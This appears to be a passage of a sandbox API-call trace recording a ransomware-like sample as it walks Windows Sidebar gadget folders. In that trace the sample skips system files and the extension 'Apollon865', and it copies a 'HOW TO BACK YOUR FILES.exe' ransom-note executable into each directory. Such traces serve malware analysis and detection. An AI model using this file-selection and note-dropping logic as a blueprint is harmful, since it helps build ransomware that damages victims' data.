	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="Apollon865.txt.exe") returned 1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2=".") returned 1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="..") returned 1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="windows") returned -1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="bootmgr") returned 1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="temp") returned -1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="pagefile.sys") returned -1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="boot") returned 1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="ids.txt") returned -1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="ntuser.dat") returned -1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="perflogs") returned -1
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2="MSBuild") returned -1
	[0061.858] lstrlenW (lpString="currency.css") returned 12
	[0061.858] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*") returned 68
	[0061.858] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="currency.css" | out: lpString1="currency.css") returned="currency.css"
	[0061.858] lstrlenW (lpString="currency.css") returned 12
	[0061.858] lstrlenW (lpString="Apollon865") returned 10
	[0061.858] lstrcmpiW (lpString1="rrency.css", lpString2="Apollon865") returned 1
	[0061.858] lstrlenW (lpString=".dll") returned 4
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2=".dll") returned 1
	[0061.858] lstrlenW (lpString=".lnk") returned 4
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2=".lnk") returned 1
	[0061.858] lstrlenW (lpString=".ini") returned 4
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2=".ini") returned 1
	[0061.858] lstrlenW (lpString=".sys") returned 4
	[0061.858] lstrcmpiW (lpString1="currency.css", lpString2=".sys") returned 1
	[0061.858] lstrlenW (lpString="currency.css") returned 12
	[0061.859] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget"
	[0061.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0061.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0061.859] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned 51
	[0061.859] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget"
	[0061.859] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.859] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.866] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cf21fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf21fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.866] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.866] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.866] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.866] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cf21fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf21fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.866] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.866] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.866] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.866] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.866] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29088439, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0061.867] lstrlenW (lpString="drag.png") returned 8
	[0061.867] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*") returned 53
	[0061.867] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0061.867] lstrlenW (lpString="drag.png") returned 8
	[0061.867] lstrlenW (lpString="Apollon865") returned 10
	[0061.867] lstrlenW (lpString=".dll") returned 4
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0061.867] lstrlenW (lpString=".lnk") returned 4
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0061.867] lstrlenW (lpString=".ini") returned 4
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0061.867] lstrlenW (lpString=".sys") returned 4
	[0061.867] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0061.867] lstrlenW (lpString="drag.png") returned 8
	[0061.867] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0061.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0061.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591640
	[0061.868] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0061.868] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf21fd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cf21fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.868] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.868] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290ae597, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290ae597, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0061.868] lstrlenW (lpString="icon.png") returned 8
	[0061.868] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned 57
	[0061.868] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0061.868] lstrlenW (lpString="icon.png") returned 8
	[0061.868] lstrlenW (lpString="Apollon865") returned 10
	[0061.868] lstrlenW (lpString=".dll") returned 4
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0061.868] lstrlenW (lpString=".lnk") returned 4
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0061.868] lstrlenW (lpString=".ini") returned 4
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0061.868] lstrlenW (lpString=".sys") returned 4
	[0061.868] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0061.868] lstrlenW (lpString="icon.png") returned 8
	[0061.869] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="images" | out: lpString1="images") returned="images"
	[0061.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0061.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591740
	[0061.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0061.869] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291b8f29, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0061.869] lstrlenW (lpString="logo.png") returned 8
	[0061.869] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned 58
	[0061.869] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0061.869] lstrlenW (lpString="logo.png") returned 8
	[0061.869] lstrlenW (lpString="Apollon865") returned 10
	[0061.869] lstrlenW (lpString=".dll") returned 4
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0061.869] lstrlenW (lpString=".lnk") returned 4
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0061.869] lstrlenW (lpString=".ini") returned 4
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0061.869] lstrlenW (lpString=".sys") returned 4
	[0061.869] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0061.869] lstrlenW (lpString="logo.png") returned 8
	[0061.870] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images"
	[0061.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0061.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0061.870] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned 58
	[0061.870] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images"
	[0061.870] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.870] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.883] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cf48130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf48130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.884] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.884] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.884] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.884] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cf48130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cf48130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.884] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.884] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.884] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.884] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.884] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2=".") returned 1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="..") returned 1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="windows") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="bootmgr") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="temp") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="pagefile.sys") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="boot") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="ids.txt") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="ntuser.dat") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="perflogs") returned -1
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2="MSBuild") returned -1
	[0061.884] lstrlenW (lpString="back.png") returned 8
	[0061.884] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*") returned 60
	[0061.884] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="back.png" | out: lpString1="back.png") returned="back.png"
	[0061.884] lstrlenW (lpString="back.png") returned 8
	[0061.884] lstrlenW (lpString="Apollon865") returned 10
	[0061.884] lstrlenW (lpString=".dll") returned 4
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2=".dll") returned 1
	[0061.884] lstrlenW (lpString=".lnk") returned 4
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2=".lnk") returned 1
	[0061.884] lstrlenW (lpString=".ini") returned 4
	[0061.884] lstrcmpiW (lpString1="back.png", lpString2=".ini") returned 1
	[0061.885] lstrlenW (lpString=".sys") returned 4
	[0061.885] lstrcmpiW (lpString1="back.png", lpString2=".sys") returned 1
	[0061.885] lstrlenW (lpString="back.png") returned 8
	[0061.885] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="back_lrg.png" | out: lpString1="back_lrg.png") returned="back_lrg.png"
	[0061.885] lstrlenW (lpString="back_lrg.png") returned 12
	[0061.885] lstrlenW (lpString="Apollon865") returned 10
	[0061.885] lstrcmpiW (lpString1="ck_lrg.png", lpString2="Apollon865") returned 1
	[0061.885] lstrlenW (lpString=".dll") returned 4
	[0061.885] lstrcmpiW (lpString1="back_lrg.png", lpString2=".dll") returned 1
	[0061.885] lstrlenW (lpString=".lnk") returned 4
	[0061.885] lstrcmpiW (lpString1="back_lrg.png", lpString2=".lnk") returned 1
	[0061.885] lstrlenW (lpString=".ini") returned 4
	[0061.885] lstrcmpiW (lpString1="back_lrg.png", lpString2=".ini") returned 1
	[0061.885] lstrlenW (lpString=".sys") returned 4
	[0061.885] lstrcmpiW (lpString1="back_lrg.png", lpString2=".sys") returned 1
	[0061.885] lstrlenW (lpString="back_lrg.png") returned 12
	[0061.885] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="dial.png" | out: lpString1="dial.png") returned="dial.png"
	[0061.885] lstrlenW (lpString="dial.png") returned 8
	[0061.885] lstrlenW (lpString="Apollon865") returned 10
	[0061.885] lstrlenW (lpString=".dll") returned 4
	[0061.885] lstrcmpiW (lpString1="dial.png", lpString2=".dll") returned 1
	[0061.885] lstrlenW (lpString=".lnk") returned 4
	[0061.885] lstrcmpiW (lpString1="dial.png", lpString2=".lnk") returned 1
	[0061.885] lstrlenW (lpString=".ini") returned 4
	[0061.885] lstrcmpiW (lpString1="dial.png", lpString2=".ini") returned 1
	[0061.885] lstrlenW (lpString=".sys") returned 4
	[0061.885] lstrcmpiW (lpString1="dial.png", lpString2=".sys") returned 1
	[0061.885] lstrlenW (lpString="dial.png") returned 8
	[0061.886] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="dialdot.png" | out: lpString1="dialdot.png") returned="dialdot.png"
	[0061.886] lstrlenW (lpString="dialdot.png") returned 11
	[0061.886] lstrlenW (lpString="Apollon865") returned 10
	[0061.886] lstrcmpiW (lpString1="ialdot.png", lpString2="Apollon865") returned 1
	[0061.886] lstrlenW (lpString=".dll") returned 4
	[0061.886] lstrcmpiW (lpString1="dialdot.png", lpString2=".dll") returned 1
	[0061.886] lstrlenW (lpString=".lnk") returned 4
	[0061.886] lstrcmpiW (lpString1="dialdot.png", lpString2=".lnk") returned 1
	[0061.886] lstrlenW (lpString=".ini") returned 4
	[0061.886] lstrcmpiW (lpString1="dialdot.png", lpString2=".ini") returned 1
	[0061.886] lstrlenW (lpString=".sys") returned 4
	[0061.886] lstrcmpiW (lpString1="dialdot.png", lpString2=".sys") returned 1
	[0061.886] lstrlenW (lpString="dialdot.png") returned 11
	[0061.886] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="dialdot_lrg.png" | out: lpString1="dialdot_lrg.png") returned="dialdot_lrg.png"
	[0061.886] lstrlenW (lpString="dialdot_lrg.png") returned 15
	[0061.886] lstrlenW (lpString="Apollon865") returned 10
	[0061.886] lstrcmpiW (lpString1="ot_lrg.png", lpString2="Apollon865") returned 1
	[0061.886] lstrlenW (lpString=".dll") returned 4
	[0061.886] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".dll") returned 1
	[0061.886] lstrlenW (lpString=".lnk") returned 4
	[0061.886] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".lnk") returned 1
	[0061.886] lstrlenW (lpString=".ini") returned 4
	[0061.887] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".ini") returned 1
	[0061.887] lstrlenW (lpString=".sys") returned 4
	[0061.887] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".sys") returned 1
	[0061.887] lstrlenW (lpString="dialdot_lrg.png") returned 15
	[0061.887] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="dial_lrg.png" | out: lpString1="dial_lrg.png") returned="dial_lrg.png"
	[0061.887] lstrlenW (lpString="dial_lrg.png") returned 12
	[0061.887] lstrlenW (lpString="Apollon865") returned 10
	[0061.887] lstrcmpiW (lpString1="al_lrg.png", lpString2="Apollon865") returned -1
	[0061.887] lstrlenW (lpString=".dll") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".dll") returned 1
	[0061.887] lstrlenW (lpString=".lnk") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".lnk") returned 1
	[0061.887] lstrlenW (lpString=".ini") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".ini") returned 1
	[0061.887] lstrlenW (lpString=".sys") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".sys") returned 1
	[0061.887] lstrlenW (lpString="dial_lrg.png") returned 12
	[0061.887] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="dial_lrg_sml.png" | out: lpString1="dial_lrg_sml.png") returned="dial_lrg_sml.png"
	[0061.887] lstrlenW (lpString="dial_lrg_sml.png") returned 16
	[0061.887] lstrlenW (lpString="Apollon865") returned 10
	[0061.887] lstrcmpiW (lpString1="rg_sml.png", lpString2="Apollon865") returned 1
	[0061.887] lstrlenW (lpString=".dll") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".dll") returned 1
	[0061.887] lstrlenW (lpString=".lnk") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".lnk") returned 1
	[0061.887] lstrlenW (lpString=".ini") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".ini") returned 1
	[0061.887] lstrlenW (lpString=".sys") returned 4
	[0061.887] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".sys") returned 1
	[0061.887] lstrlenW (lpString="dial_lrg_sml.png") returned 16
	[0061.888] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="dial_sml.png" | out: lpString1="dial_sml.png") returned="dial_sml.png"
	[0061.888] lstrlenW (lpString="dial_sml.png") returned 12
	[0061.888] lstrlenW (lpString="Apollon865") returned 10
	[0061.888] lstrcmpiW (lpString1="al_sml.png", lpString2="Apollon865") returned -1
	[0061.888] lstrlenW (lpString=".dll") returned 4
	[0061.888] lstrcmpiW (lpString1="dial_sml.png", lpString2=".dll") returned 1
	[0061.888] lstrlenW (lpString=".lnk") returned 4
	[0061.888] lstrcmpiW (lpString1="dial_sml.png", lpString2=".lnk") returned 1
	[0061.888] lstrlenW (lpString=".ini") returned 4
	[0061.888] lstrcmpiW (lpString1="dial_sml.png", lpString2=".ini") returned 1
	[0061.888] lstrlenW (lpString=".sys") returned 4
	[0061.888] lstrcmpiW (lpString1="dial_sml.png", lpString2=".sys") returned 1
	[0061.888] lstrlenW (lpString="dial_sml.png") returned 12
	[0061.888] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="glass.png" | out: lpString1="glass.png") returned="glass.png"
	[0061.888] lstrlenW (lpString="glass.png") returned 9
	[0061.888] lstrlenW (lpString="Apollon865") returned 10
	[0061.888] lstrlenW (lpString=".dll") returned 4
	[0061.888] lstrcmpiW (lpString1="glass.png", lpString2=".dll") returned 1
	[0061.888] lstrlenW (lpString=".lnk") returned 4
	[0061.888] lstrcmpiW (lpString1="glass.png", lpString2=".lnk") returned 1
	[0061.888] lstrlenW (lpString=".ini") returned 4
	[0061.888] lstrcmpiW (lpString1="glass.png", lpString2=".ini") returned 1
	[0061.888] lstrlenW (lpString=".sys") returned 4
